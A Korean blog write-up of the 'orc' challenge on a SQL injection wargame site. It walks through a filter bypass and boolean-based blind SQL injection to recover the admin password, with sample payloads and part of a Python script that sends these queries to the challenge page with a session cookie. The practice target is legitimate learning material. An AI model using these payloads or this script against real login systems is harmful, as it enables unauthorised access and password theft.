
query를 보면 id는 'admin'으로 고정되어 있고 pw를 입력해서 admin으로 로그인하는 문제다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); prob _ . ( ) 가 필터링 되어있다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); admin으로 로그인하면 끝이 아니라 입력한 pw 가 DB의 'admin'의 pw값과 같아야 flag 값을 획득할 수 있는 것 같다.
먼저 공격 포맷을 만들기 위해서 쿼리 확인을 해보겠다.
?pw=1' or '1'='1' and '1'='1

참/거짓으로 쿼리를 만들어서 삽입해보니 admin으로 로그인이 됬다. 해당 쿼리를 이용해서 admin의 pw값을 추출하면 될 것 같다.
1' or (ascii(substring((select pw from prob_orc where id='admin'),1,1))>0) and '1' = '1
평소 하던 공격포맷으로 하니까 필터링 되었다. ㅎㅎ
table 이름과 column 이름이 나와있어서 select pw from prob_orc where id='admin'의 문자를 하나씩 가져올려고 했는데 필터링 되었다.
prob, _, ., () 중에서 prob에서 필터링 되었나보다..

1' or id='admin' and (ascii(substring( pw, 1, 1))>0) and '1' = '1

그래서 위와 같이 쿼리를 바꿔주니 admin으로 로그인이 된다. 문제의 난이도를 생각해서 이렇게 만든건진 잘 모르겠다... pw만 써도 원래 되는건지... (의문)
암튼 공격포맷을 알아냈으니 이제 저 쿼리를 바탕으로 pw값을 알아내면 된다!
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
headers = {'Cookie' : 'PHPSESSID = PHPSESSID 값을 넣어주세요'}
text = "Hello admin" # 응답값에 포함 되어야할 문자열
print("SQL Injection")
print("SQL > ", end='')
input_sql = input()
def find_len():
value_len=0
while True:
value_len+=1
find_len_sqli = "1' or id='admin' and (ascii(substring(({0}),{1},1))>0) and '1'='1".format(input_sql, value_len)
# GET 요청
params = {"pw": find_len_sqli}
response = requests.get(url, params=params, headers=headers)
if(text not in response.text):
print("문자열 길이 :", str(value_len-1))
break
return value_len-1
value_len = find_len()
def check_sqli(input_sql, i, midpoint, operator):
"""same_sqli 또는 range_sqli를 체크하고 해당 값을 반환하는 함수"""
sqli = "1' or id='admin' and (ascii(substring(({0}),{1},1)){2}{3}) and '1'='1".format(input_sql, i, operator, midpoint)
# GET 요청
params = {'pw': sqli}
response = requests.get(url, params=params, headers=headers)
return response
전 원래 제가 작성했던 Blind SQL Injection Script 를 GET 요청에 맞게 조금 수정했습니다.
위 코드는 수정된 부분의 일부입니다.
그리고 cookie 값을 넣어야 정상적으로 요청됩니다.

추출한 pw값을 입력하면...

'Security > Wargame' 카테고리의 다른 글
| [dreamhack] xss-2 (0) | 2023.04.26 |
|---|